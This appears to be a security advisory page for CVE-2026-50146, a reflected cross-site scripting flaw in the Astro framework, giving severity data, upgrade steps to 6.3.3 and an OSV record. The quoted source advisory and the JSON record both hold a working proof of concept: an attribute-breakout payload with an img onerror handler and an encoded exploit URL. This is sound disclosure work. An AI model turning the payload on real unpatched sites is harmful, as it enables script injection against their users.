CVE-2026-50146: Astro Cross-Site Scripting Vulnerability

HIGH
Advisory Identifier: GHSA-8hv8-536x-4wqp
CVSS 7.1
CWE-80 CWE-79
Published
Advisory Summary

CVE-2026-50146 is a HIGH (CVSS 7.1) cross-site scripting vulnerability (CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)) affecting Astro libraries in the npm ecosystem. The issue involves reflected xss via unescaped slot name. Remediation is available by upgrading affected packages to version 6.3.3.

CVE-2026-50146 at a Glance

CVE Identifier CVE-2026-50146
GHSA Identifier GHSA-8hv8-536x-4wqp
Severity HIGH
CVSS v3.1 Base Score 7.1
CWE Classification CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
Affected Product Astro
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-50146

To remediate this vulnerability, upgrade all affected Astro dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

astro fixed: 6.3.3
npm install astro@6.3.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls astro

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-50146, inspect your project dependencies using npm:

npm ls astro

Analyze the terminal output to locate any version of Astro in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.3.3), your application is affected.

Note: The npm ls astro command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS), where the product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages. In Astro, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary When a component uses a `client:*` directive, Astro inserts named slot content into a `data-astro-template` attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR. This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point. ## Vulnerable Code `packages/astro/src/runtime/server/render/component.ts:371:376` ```ts // component.ts:371 `<template data-astro-template${key !== 'default' ? `="${key}"` : ''}>${children[key]}</template>` ``` I found that key is interpolated directly into the attribute value without proper escaping. ## Proof of Concept For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0. **`astro.config.mjs`** ```js import react from '@astrojs/react'; import node from '@astrojs/node'; import { defineConfig } from 'astro/config'; export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), integrations: [react()], }); ``` **`src/pages/index.astro`** ```astro --- import Wrapper from '../components/Wrapper.jsx'; const slotName = Astro.url.searchParams.get('tab') ?? 'default'; --- <html><body> <Wrapper client:load> <div slot={slotName}>content</div> </Wrapper> </body></html> ``` **`src/components/Wrapper.jsx`** ```jsx export default function Wrapper() { return null; } ``` **Payload:** ``` abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!-- ``` Accessing this URL will trigger the popup. http://localhost:4321/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!-- <img width="1268" height="592" alt="image" src="https://github.com/user-attachments/assets/675cdc04-4134-4d83-883c-abe16d751ec7" /> This will render in html. ```html <template data-astro-template="abc"></template></astro-island> <img src=x onerror=confirm(document.domain)><!--">content</template> ``` ## Fix I suggest leveraging the existing escape function on the slot name. ```ts // component.ts:371 `<template data-astro-template${key !== 'default' ? `="${escapeHTML(String(key))}"` : ''}>${children[key]}</template>` ``` ---

CVE-2026-50146 Affected Astro Versions

1 component(s)
Fixed Versions:
6.3.3
Product / Package Ecosystem Affected Versions Fixed Version
astro
npm
< 6.3.3
6.3.3

References

Frequently Asked Questions

What is CVE-2026-50146?
CVE-2026-50146 is a security vulnerability in Astro involving Reflected XSS via unescaped slot name under CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS).
Which Astro versions are affected?
Affected versions include releases prior to 6.3.3 across affected packages: astro.
What version fixes CVE-2026-50146?
Upgrading to 6.3.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is astro affected?
Yes, astro is affected in releases prior to 6.3.3. Upgrade your dependency to 6.3.3 or later.
What is the CVSS score of CVE-2026-50146?
CVE-2026-50146 has a CVSS v3.1 base score of 7.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N.
What CWE is associated with CVE-2026-50146?
CVE-2026-50146 is classified under CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) (The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages.).
How can I check npm dependencies for CVE-2026-50146?
Run the dependency tree command: 'npm ls astro'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8hv8-536x-4wqp",
  "modified" : "2026-08-12T20:37:18Z",
  "published" : "2026-06-16T14:05:06Z",
  "aliases" : [ "CVE-2026-50146" ],
  "summary" : "Astro: Reflected XSS via unescaped slot name",
  "details" : "## Summary\n\nWhen a component uses a `client:*` directive, Astro inserts named slot content into a `data-astro-template` attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.\n\nThis is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.\n\n## Vulnerable Code\n\n`packages/astro/src/runtime/server/render/component.ts:371:376`\n\n```ts\n// component.ts:371\n`<template data-astro-template${key !== 'default' ? `=\"${key}\"` : ''}>${children[key]}</template>`\n```\n\nI found that key is interpolated directly into the attribute value without proper escaping.\n\n## Proof of Concept\n\nFor the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.\n\n**`astro.config.mjs`**\n```js\nimport react from '@astrojs/react';\nimport node from '@astrojs/node';\nimport { defineConfig } from 'astro/config';\nexport default defineConfig({\n  output: 'server',\n  adapter: node({ mode: 'standalone' }),\n  integrations: [react()],\n});\n```\n\n**`src/pages/index.astro`**\n```astro\n---\nimport Wrapper from '../components/Wrapper.jsx';\nconst slotName = Astro.url.searchParams.get('tab') ?? 'default';\n---\n<html><body>\n  <Wrapper client:load>\n    <div slot={slotName}>content</div>\n  </Wrapper>\n</body></html>\n```\n\n**`src/components/Wrapper.jsx`**\n```jsx\nexport default function Wrapper() { return null; }\n```\n\n**Payload:**\n```\nabc\"></template></astro-island><img src=x onerror=confirm(document.domain)><!--\n```\nAccessing this URL will trigger the popup.\n\nhttp://localhost:4321/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!--\n\n\n\n<img width=\"1268\" height=\"592\" alt=\"image\" src=\"https://github.com/user-attachments/assets/675cdc04-4134-4d83-883c-abe16d751ec7\" />\n\n\n\nThis will render in html.\n\n```html\n<template data-astro-template=\"abc\"></template></astro-island>\n<img src=x onerror=confirm(document.domain)><!--\">content</template>\n```\n\n## Fix\n\nI suggest leveraging the existing escape function on the slot name.\n\n```ts\n// component.ts:371\n`<template data-astro-template${key !== 'default' ? `=\"${escapeHTML(String(key))}\"` : ''}>${children[key]}</template>`\n```\n\n---",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "astro"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "6.3.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/withastro/astro/security/advisories/GHSA-8hv8-536x-4wqp"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-50146"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/withastro/astro"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79", "CWE-80" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-16T14:05:06Z",
    "nvd_published_at" : "2026-06-22T19:17:04Z"
  }
}